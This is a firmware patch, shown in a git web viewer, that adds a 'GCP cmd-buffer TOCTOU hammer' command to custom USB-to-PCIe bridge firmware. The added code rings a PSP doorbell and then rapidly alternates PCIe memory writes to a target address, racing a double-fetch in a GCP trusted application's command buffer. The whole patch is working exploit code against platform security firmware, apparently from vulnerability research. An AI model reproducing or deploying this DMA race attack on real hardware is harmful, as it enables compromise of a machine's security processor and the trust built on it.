aboutsummaryrefslogtreecommitdiffstats
path: root/bridge/handmade_gcp_hammer_0xEB.patch
blob: 896bb2c7a9c6c73afc4edbb5cf46893ebab4e844 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
diff --git a/handmade/src/main.c b/handmade/src/main.c
index 7dd8220..9ceb0d1 100644
--- a/handmade/src/main.c
+++ b/handmade/src/main.c
@@ -145,6 +145,16 @@ static void do_usb_bulk_in(void) {
 
 /*=== USB Control Handler ===*/
 
+/* GCP hammer config, pinned at a free XDATA address (firmware uses 0x0000-0x0008
+ * and 0x7000+). Host pokes this via 0xE5 (no timing constraint), then fires the
+ * tiny 0xEB trigger. Layout (all little-endian):
+ *   [0:8]   doorbell PCIe addr (0 => skip doorbell)   [8:12]  doorbell value
+ *   [12:20] hammer target PCIe addr                   [20:24] value A
+ *   [24:28] value B                                   [28:30] iterations
+ *   [30]    fmt_type (0 => MWr64 0x60)                [31]    byte_en (0 => 0x0F)
+ */
+__xdata uint8_t hammer_cfg[32];
+
 static void handle_usb_control(void) {
   uint8_t phase;
   phase = REG_USB_CTRL_PHASE;
@@ -286,6 +296,10 @@ static void handle_usb_control(void) {
       *   DATA_OUT: 12 bytes = addr_lo[4 LE] + addr_hi[4 LE] + value[4 LE] */
       /* Don't configure yet — wait for DATA_OUT phase.
        * SETUP params (wValue/wIndex) are readable from registers in DATA_OUT. */
+    } else if (bmReq == (USB_SETUP_DIR_HOST_TO_DEV | USB_SETUP_TYPE_VENDOR) && bReq == 0xEB) {
+      /* 0xEB OUT (SETUP): GCP hammer trigger. Params come from hammer_cfg@0x6000
+       * (host-poked via 0xE5); trigger DATA_OUT is just the 4-byte arming magic.
+       * The doorbell+hammer runs in the STAT_IN branch below. Nothing here. */
     } else if (bmReq == (USB_SETUP_DIR_DEV_TO_HOST | USB_SETUP_TYPE_VENDOR) && bReq == 0xF0) {
       /* 0xF0 IN: read TLP completion (mode=0 only). Returns 8 bytes. */
       uint8_t ret_status = 0xFF;
@@ -380,6 +394,62 @@ static void handle_usb_control(void) {
       }
       usb_send_zlp();
     }
+    if (REG_USB_SETUP_BMREQ == (USB_SETUP_DIR_HOST_TO_DEV | USB_SETUP_TYPE_VENDOR) &&
+        REG_USB_SETUP_BREQ == 0xEB) {
+      /* ===== GCP cmd-buffer TOCTOU hammer (opcode 0xEB) =====================
+       * Rings the PSP ring doorbell (one MemWr), then immediately flips a 32-bit
+       * PCIe target between value A and value B, to race the GCP TA's triple-read
+       * of cmdBuf[0x818] (double-fetch; fw/FINDING-GCP-FE09-...md Add.70). The
+       * single 8051 can't both service the host submit and hammer, so the bridge
+       * must fire the final doorbell itself. All params live in hammer_cfg@0x6000
+       * (host-poked via 0xE5). Trigger payload = 4-byte arming magic 'H''M''R'0x01.
+       * Reuses the firmware's posted-MWr TLP primitive (fire-and-forget).
+       */
+      if (DESC_BUF[0] == 0x48 && DESC_BUF[1] == 0x4D &&
+          DESC_BUF[2] == 0x52 && DESC_BUF[3] == 0x01) {
+        uint16_t iters = ((uint16_t)hammer_cfg[29] << 8) | hammer_cfg[28];
+        uint8_t  fmt   = hammer_cfg[30] ? hammer_cfg[30] : PCIE_FMT_MEM_WRITE64;
+        uint8_t  ben   = hammer_cfg[31] ? hammer_cfg[31] : 0x0F;
+        /* value bytes: DATA_0 = LE LSB (HW-verified natural store) */
+        uint8_t  a0 = hammer_cfg[20], a1 = hammer_cfg[21], a2 = hammer_cfg[22], a3 = hammer_cfg[23];
+        uint8_t  b0 = hammer_cfg[24], b1 = hammer_cfg[25], b2 = hammer_cfg[26], b3 = hammer_cfg[27];
+        uint16_t k;
+        if (iters > 0x8000) iters = 0x8000;
+
+        REG_PCIE_FMT_TYPE = fmt;
+        REG_PCIE_BYTE_EN  = ben;
+
+        /* optional doorbell: one MemWr to cfg[0:8] = cfg[8:12]. addr bytes map
+         * ADDR_0<-cfg[3]..ADDR_3<-cfg[0] / HIGH_0<-cfg[7]..HIGH_3<-cfg[4] (as 0xF0). */
+        if (hammer_cfg[0] | hammer_cfg[1] | hammer_cfg[2] | hammer_cfg[3] |
+            hammer_cfg[4] | hammer_cfg[5] | hammer_cfg[6] | hammer_cfg[7]) {
+          REG_PCIE_ADDR_0 = hammer_cfg[3]; REG_PCIE_ADDR_1 = hammer_cfg[2];
+          REG_PCIE_ADDR_2 = hammer_cfg[1]; REG_PCIE_ADDR_3 = hammer_cfg[0];
+          REG_PCIE_ADDR_HIGH_0 = hammer_cfg[7]; REG_PCIE_ADDR_HIGH_1 = hammer_cfg[6];
+          REG_PCIE_ADDR_HIGH_2 = hammer_cfg[5]; REG_PCIE_ADDR_HIGH_3 = hammer_cfg[4];
+          REG_PCIE_DATA_0 = hammer_cfg[8];  REG_PCIE_DATA_1 = hammer_cfg[9];
+          REG_PCIE_DATA_2 = hammer_cfg[10]; REG_PCIE_DATA_3 = hammer_cfg[11];
+          REG_PCIE_STATUS  = (PCIE_STATUS_ERROR | PCIE_STATUS_COMPLETE | PCIE_STATUS_KICK);
+          REG_PCIE_TRIGGER = PCIE_TRIGGER_EXEC;
+        }
+
+        /* point engine at the hammer target cfg[12:20] */
+        REG_PCIE_ADDR_0 = hammer_cfg[15]; REG_PCIE_ADDR_1 = hammer_cfg[14];
+        REG_PCIE_ADDR_2 = hammer_cfg[13]; REG_PCIE_ADDR_3 = hammer_cfg[12];
+        REG_PCIE_ADDR_HIGH_0 = hammer_cfg[19]; REG_PCIE_ADDR_HIGH_1 = hammer_cfg[18];
+        REG_PCIE_ADDR_HIGH_2 = hammer_cfg[17]; REG_PCIE_ADDR_HIGH_3 = hammer_cfg[16];
+
+        for (k = 0; k < iters; k++) {
+          REG_PCIE_DATA_3 = a3; REG_PCIE_DATA_2 = a2; REG_PCIE_DATA_1 = a1; REG_PCIE_DATA_0 = a0;
+          REG_PCIE_STATUS  = (PCIE_STATUS_ERROR | PCIE_STATUS_COMPLETE | PCIE_STATUS_KICK);
+          REG_PCIE_TRIGGER = PCIE_TRIGGER_EXEC;
+          REG_PCIE_DATA_3 = b3; REG_PCIE_DATA_2 = b2; REG_PCIE_DATA_1 = b1; REG_PCIE_DATA_0 = b0;
+          REG_PCIE_STATUS  = (PCIE_STATUS_ERROR | PCIE_STATUS_COMPLETE | PCIE_STATUS_KICK);
+          REG_PCIE_TRIGGER = PCIE_TRIGGER_EXEC;
+        }
+      }
+      usb_send_zlp();
+    }
     REG_USB_CTRL_PHASE = USB_CTRL_PHASE_DATA_IN | USB_CTRL_PHASE_STAT_IN;
   } else if (phase & USB_CTRL_PHASE_DATA_OUT) {
     REG_USB_CTRL_PHASE = USB_CTRL_PHASE_DATA_OUT;